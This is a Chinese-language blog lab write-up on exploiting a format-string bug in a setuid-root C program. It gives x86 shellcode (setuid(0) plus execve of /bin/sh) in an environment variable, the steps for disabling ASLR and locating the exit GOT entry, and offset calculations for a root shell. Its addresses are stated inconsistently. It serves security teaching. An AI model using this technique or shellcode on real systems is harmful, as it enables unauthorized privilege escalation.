Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode寫進環境變量)

//  vul.c
/* 
 * 如果獲得環境變量的程序和攻擊的程序的文件名長度不一樣,環境變量的地址
 * 會發生偏移。因此,要麼令兩個程序的文件名長度相等(推薦),要麼考慮偏
 * 移來計算環境變量地址。
 * gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面這段代碼編譯並且 suid,然後普通用戶執行它,要求就是成
功獲得 root shell。
  • 觀察以上代碼,我們的思路是將shellcode寫進環境變量,然後獲取環境變量的地址,再將這個地址覆蓋exit函數的地址,這樣,在程序執行到exit(0)的時候,就會執行我們的shellcode。
  • 下面給出的get.c用於獲取環境變量地址:
//get.c
//export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}

  1. 首先,關閉地址隨機化:sudo sysctl -w kernel.randomize_va_space=0

在這裏插入圖片描述
2.編譯get.c,利用 root 把vul.c編譯並且 suid,還要使棧可執行

在這裏插入圖片描述
在這裏插入圖片描述
3.定義一個環境變量 EGG 存放 shellcode,再執行get獲取它的地址。

export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

在這裏插入圖片描述
在這裏插入圖片描述
得到EGG地址爲:0xbfff29e

4.查找exit的地址:objdump -R vul
在這裏插入圖片描述
可以看到exit的地址爲0x0804a00c

5.查詢 AAAA 在內存中位置:
在這裏插入圖片描述
AAAA在第11個位置。
6.實施攻擊,實施攻擊的關鍵是計算把 shellcode 的地址 0xbffff29e 寫到析
構函數的返回地址(即 0x 0804a00c)所指向的內存字中所需要的偏移量。
計算偏移量:

  • 49143=bfff-8;
  • 12959=f29e-bfff;
    在這裏插入圖片描述
    在這裏插入圖片描述
    攻擊成功…成功獲得root權限~
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章